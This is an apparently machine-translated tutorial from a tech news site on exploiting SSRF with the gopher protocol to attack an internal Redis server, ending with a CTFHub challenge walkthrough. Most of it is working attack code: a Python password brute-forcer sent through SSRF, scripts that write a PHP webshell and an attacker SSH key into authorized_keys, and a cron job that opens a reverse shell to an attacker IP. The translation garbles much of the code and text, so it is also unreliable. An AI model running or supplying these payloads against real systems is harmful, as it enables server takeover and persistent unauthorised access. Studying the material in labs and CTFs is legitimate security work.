In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-28 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
This article focuses on "how to use SSRF to attack intranet Redis services". Interested friends may wish to have a look. The method introduced in this paper is simple, fast and practical. Let's let the editor take you to learn how to use SSRF to attack intranet Redis services.
0x01 Redis database
REmote DIctionary Server (Redis) is a key-value storage system written by Salvatore Sanfilippo. Redis is an open source log database written in ANSI C language, complies with BSD protocol, supports network, can be memory-based and persistent, Key-Value database, and provides API in multiple languages. It is often called a data structure server because the value can be of types such as String, Hash, list, sets, and sorted sets.
Simply put, Redis is a database that stores data in the form of Key-Value.
Default port for Redis database: 6379
0x02 installs Redis database
System version: Ubuntu 20.04.1 LTS
Install Redis:
Apt-getinstall redis-server
Modify the Redis configuration file (set password, listen to ip, etc.):
Vim / etc/redis/redis.conf
Configure snooping ip:
Bind 127.0.0.1:: remote listens only on the local port. If you need to log in remotely, you can add the local ip to it. At the same time, remote login may cause unauthorized access.
Configure the default password:
# requirepass foobared# has no password by default. To set a password, delete the previous #, and then change foobared to the password you want to set.
Start Redis:
/ bin/redis-server / etc/redis/redis.conf
Or
Starting service redis-server start# in this way may cause Redis to have no write permissions in other directories, such as the web directory, the scheduled task directory, the .ssh directory, and so on, even if you start as root. If you encounter an error when Redis executes save Times, try the first way to start root identity.
0x03 RESP protocol
Refer to this article: https://www.cnblogs.com/linuxsec/articles/11221756.html
The Redis server communicates with the client through the RESP (REdis Serialization Protocol) protocol.
RESP is actually a serialization protocol that supports the following data types: Simple Strings (simple string), error (error), Integer (integer), Bulk Strings (multiline string), and array (array).
The client sends the command to the Redis server as a RESP array of Bulk Strings.
The server replies to a RESP type according to the command.
In RESP, the type of some data depends on the first byte:
For Simple Strings, the first byte of the reply is +
For error, the first byte of the reply is-
For Integer, the first byte of the reply is:
For Bulk Strings, the first byte of the reply is $
For array, the first byte of the reply is *
In addition, RESP can use a special variant of Bulk Strings or Array specified later to represent null values.
In RESP, different parts of the protocol always end with "\ r\ n" (CRLF).
Let's grab a communication packet between the client and the Redis server to analyze it in detail.
You can use tcpdump in linux to capture packets:
Command: tcpdump-I lo-s 0 port 6379-w redis.pcap
Parameter description:
-I specify the network card (eth0 is generally specified, where the traffic to capture the local interface needs to be specified as lo)
-s the default crawl length is 68 bytes when grabbing packets. After adding-s 0, you can catch the complete data packet.
Port specifies the port to be fetched
-w Save to a file, followed by the saved path and file name
Then we log in to the client, where I set the password, so authenticate first, and then set key.
# redis-cli-h 127.0.0.1-p 6379127.0.0.1 set ATL OceanOK127.0.0.1:6379 6379 > auth 123456OK127.0.0.1:6379 > set ATL OceanOK127.0.0.1:6379 > quit
Then we export the captured packet, open it with wireshark, and then track the TCP flow.
Combined with our previous explanation of the RESP protocol, let's analyze it line by line:
The top 4 lines are the client automatically requests the server information, the server prompts us to need authentication, we start from our own authentication information analysis. * 2 # Array length is 2 $4 # Multiline string length is 4auth # Authentication $6 # Multiline string length is 6123456 # password 123456+OK # Server returns the normal string OK Indicates success * 3 # array length: 3 $3 # multiline string length: 3set # sets key$3 # multiline string length to 3ATL # key: ATL$5 # multiline string length: 5Ocean # velue returns normal string OK for Ocean+OK # server, indicates success
So let's imagine if we can directly operate on Redis if we send packets in this format directly. Let's give it a try. We encode the packets sent by the client once with url.
* 2 $4auth$6123456*3 $3set$4ATL2 $6Ocean2Url encoded: * 2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A (note that% 0A is replaced with% 0D%0A)
Then send it to the Redis server using curl and gopher protocols locally.
Command: curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
We can see that the server returned two + OK to us indicating that our command was executed successfully. Let's take a look at the value we set key directly and verify it again.
You can see that it is indeed the value we just set, which once again proves that this method works. So we do not send according to the format of the RESP protocol, if it is possible to send the command directly, let's try again:
Instead of setting the key value this time, we will get the key value directly:
Command: after auth 123456get ATL2URL encoding: auth%20123456%0D%0Aget%20ATL2%0D%0A send request: curl gopher://127.0.0.1:6379/_auth%20123456%0D%0Aget%20ATL2%0D%0A
We can see that the value of key that we just set is returned successfully, indicating that the method of sending commands directly is also feasible.
Now that we know how to get the Redis server to execute our commands, let's take a look at how to attack to achieve the purpose of getshell.
0x04 attacks Redis
There are generally three ways to attack Redis: write webshell in the web directory, write the public key in the .ssh directory, log in to the ssh with the private key, and bounce the shell with the scheduled task. All three methods are implemented by using the backup function of Redis.
When attacking Redis, if native ip is set in the configuration, such as 192.168.x.x or public network ip, then we can directly remotely access port 6379 to communicate with Redis, but generally only listen on the local port, so we need to take advantage of SSRF. The method is also very simple, you only need to send the data twice with URL coding on the pages with SSRF vulnerabilities. The specific method can be seen in my previous article, which will not be introduced here.
Redis authentication attack:
The default Redis does not have a password, so we can access it directly, but if we set a password, we have to break the password first and get the correct password before we can carry out further attacks.
We use the following python script to break the password, put a dictionary named password.txt in the same directory as the script, and then break it.
#-*-coding: UTF-8-*-from urllib.parse import quotefrom urllib.request import Request, urlopenurl = "http://192.168.48.133/ssrf.php?url="gopher =" gopher://127.0.0.1:6379/_ "def get_password (): F = open (" password.txt "," r ") return f.readlines () def encoder_url (cmd): urlencoder = quote (cmd) .replace ("% 0A ") "% 0D%0A") return urlencoderfor password in get_password (): # attack script cmd = "" auth% s quit ""% password # Secondary Encoding encoder = encoder_url (encoder_url (cmd)) # generate payload payload = url + gopher + encoder print (payload) # initiate request request = Request (payload) response = urlopen (request). Read ( ). Decode () print ("This time password is:" + password) print ("Get response is:") print (response) if response.count ("+ OK") > 1: print ("find password:" + password) exit () print ("Password not found!") print ("Please change the dictionary And try again. ")
Here we randomly write a few passwords to demonstrate.
As you can see, the password was successfully found.
Write webshell to the web directory:
First we need to know how Redis writes to a file:
Key and value in the current database can be exported from Redis
And you can configure the export path and file name through the command:
Config set dir / var/www/html// set export path config set dbfilename shell.php// set export file name save / / perform export operation
So we set the value of any key to a sentence Trojan, and then configure the export path to the web directory, and the export file name is php file, so that you can write webshell in the web directory by executing the export command.
After we get the password from the previous script, we add a script that is written to shell:
#-*-coding: UTF-8-*-from urllib.parse import quotefrom urllib.request import Request, urlopenurl = "http://192.168.48.133/ssrf.php?url="gopher =" gopher://127.0.0.1:6379/_ "def get_password (): F = open (" password.txt ") "r") return f.readlines () def encoder_url (cmd): urlencoder = quote (cmd) .replace ("% 0A", "% 0D%0A") return urlencoder###- burst password No password to delete-# for password in get_password (): # attack script path = "/ var/www/html/test" shell = "\\ n\ n" filename = "shell.php" cmd = "" auth% s quit "% password # Secondary Encoding encoder = encoder_url (encoder_ Url (cmd)) # generate payload payload = url + gopher + encoder # initiate request print (payload) request = Request (payload) response = urlopen (request). Read () .decode () print ("This time password is:" + password) print ("Get response is:") print (response) if response.count ("+ OK") > 1: print ("find password:" + password) #-if there is no password Execute directly from this point-# cmd = "" auth% s config set dir% s config set dbfilename% s set test1 "% s" save quit ""% (password, path, filename) Shell) # Secondary coding encoder = encoder_url (encoder_url (cmd)) # generate payload payload = url + gopher + encoder # initiate request request = Request (payload) print (payload) response = urlopen (request). Read (). Decode () print ("response is:" + response) if response.count ("+ OK") ) > 5: print ("Write success!") Exit () else: print ("Write failed. Please check and try again") exit () #-if there is no password, end here-# print ("Password not found!") print ("Please change the dictionary,and try again.")
Successful write after execution, let's go to the web directory to see the file we wrote.
We can see that the format is quite chaotic, but because we add a few newline characters in front of the sentence Trojan horse, we can still clearly see our sentence Trojan horse. Then let's connect it directly with an ant sword or a kitchen knife.
You can see a successful connection to our webshell.
Write the public key and log in to SSH with the private key:
Writing the public key is the same as writing webshell, except that you change the path, file name, and content of the write.
It is important to note, however, that this approach requires ensuring that the target allows login using a key.
Opening method:
Need to modify ssh configuration file / etc/ssh/sshd_config
# change StrictModes yes to StrictModes no and restart sshd / bin/systemctl restart sshd.service
Let's try the ssh login target first:
You can see that you need to enter a password to log in directly. So let's attack.
We first generate a pair of public and private keys on the attack plane.
Command: ssh-keygen-t rsa
Just enter all the way, and then we go to the /. Ssh directory of the home directory, and you can see the public and private keys we generated.
Public key content:
Sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
Then we make a slight change to the above script, setting the write path to: / root/.ssh, the write file name to: authorized_keys, and the write is the public key we generated.
Path= "/ root/.ssh" # path shell= "\ n\ n\\ nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\ n\ n" filename= "authorized_keys" # filename
Just modify the above three lines. Then we run the script.
The write is successful. Let's try to log in again at this time.
You can see that we successfully logged on to the target without secret access.
Bounce shell with scheduled tasks:
Note about scheduled task bounce shell:
It can only be used on Centos, and Ubuntu uplink does not work for the following reasons: because the default redis is 644 after writing the file, but ubuntu requires that the execution of the scheduled task file / var/spool/cron/crontabs/ permission must be 600, that is,-rw- will be executed, otherwise there will be an error (root) INSECURE MODE (mode 0600 expected), and Centos's scheduled task file / var/spool/cron/ permission 644 can also be executed because redis saves RDB. Error will be reported on Ubuntu, but not on Centos. Due to different systems, the location of crontrab timing file will be different. Centos timing task file / var/spool/cron/Ubuntu timing task file exists in / var/spool/cron/crontabs/Centos and Ubuntu (requires root permission) / etc/crontab PS: higher version of redis starts with redis permission by default, so writing this file is not feasible.
Since my target machine is a Ubuntu system, it is true that I can't rebound shell after testing, so when it comes to writing scheduled tasks, bouncing shell cannot be demonstrated here.
Let's first take a look at bouncing shell through input and output streams under linux:
Command: / bin/bash-I > & / dev/tcp/ [ip] / [Port] 0 > & 1
/ bin/bash-I represents the interaction mode that invokes the bash command and redirects the interaction mode to / dev/tcp/ [ip] / [port]. Here we change the ip and port to the address and listening port of our attack plane.
When redirecting, a descriptor & is added to indicate input directly as a data stream. Without adding &, redirection is output to a file by default.
/ dev/tcp/ip address / port number is a special file under linux that indicates a tcp connection to this address port
Here we set up the address where the attack plane is listening.
The last 0 > & 1. At this time, the connection between the attack plane and the target plane has been established, and when the attack plane inputs, it is the 0 (standard input) here.
By redirecting it to 1 (standard output), the system command is executed as standard input to / bin/bash.
Let's give it a try:
Let's listen to port 1234 on the attack plane:
Then execute / bin/bash-I > & / dev/tcp/192.168.48.129/1234 0 > & 1 on the target machine
At this time, let's take a look at our attack plane:
You can see that it bounced back to shell successfully, and the command can be executed normally.
Next we try to write scheduled tasks.
Path = "/ var/spool/cron/crontabs" # path shell = "\\ n\ n\\ n* bash-I > & / dev/tcp/192.168.48.129/1234 0 > & 1\ n\ n" filename = "root" # filename
Also modify the above three lines, and then execute.
You can see the prompt for us to write successfully, and then we go to the target directory to confirm it.
You can see that the write was indeed successful, and using the crontable command to view the scheduled tasks of the root user, you can also see what we wrote.
However, due to the system and permissions can not perform scheduled tasks, interested friends can try to try in CentOS. My environment is so bald that I won't try again.
0x05 CTFHub-SSRF-Redis protocol
The local environment has already been tried and we are just trying an online environment or an environment that uses the skill tree in CTFHub.
After opening the environment, the page is blank, but see in URL? url= according to the previous situation to see that there is a SSRF, then we will directly use our previous script to type.
Using the script we wrote for webshell, we only need to modify the url on the fifth line.
After running it, we found that the server told us that the password was not set, which would be even easier. Modify the script:
#-*-coding: UTF-8-*-from urllib.parse import quotefrom urllib.request import Request, urlopenurl = "http://challenge-b15f0eaddbb74bdf.sandbox.ctfhub.com:10080/?url="gopher =" gopher://127.0.0.1:6379/_ "def encoder_url (cmd): urlencoder = quote (cmd) .replace ("% 0A " "% 0D%0A") return urlencoderpath = "/ var/www/html" shell = "\\ n\\ n\ n" filename = "shell.php" cmd = "config set dir% sconfig set dbfilename% sset test1"% s "savequit"% (path, filename Shell) # Secondary coding encoder = encoder_url (encoder_url (cmd)) # generate payloadpayload = url + gopher + encoder# initiate request request = Request (payload) print (payload) response = urlopen (request). Read (). Decode () print ("response is:" + response) if response.count ("+ OK") > 4: print ("Write success!") Exit () else: print ("Write failed. Please check and try again") exit ()
Run again
Write it successfully, and then we'll connect it directly with an ant sword.
Successfully got the flag.
At this point, I believe you have a deeper understanding of "how to use SSRF to attack intranet Redis services". You might as well do it in practice. Here is the website, more related content can enter the relevant channels to inquire, follow us, continue to learn!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.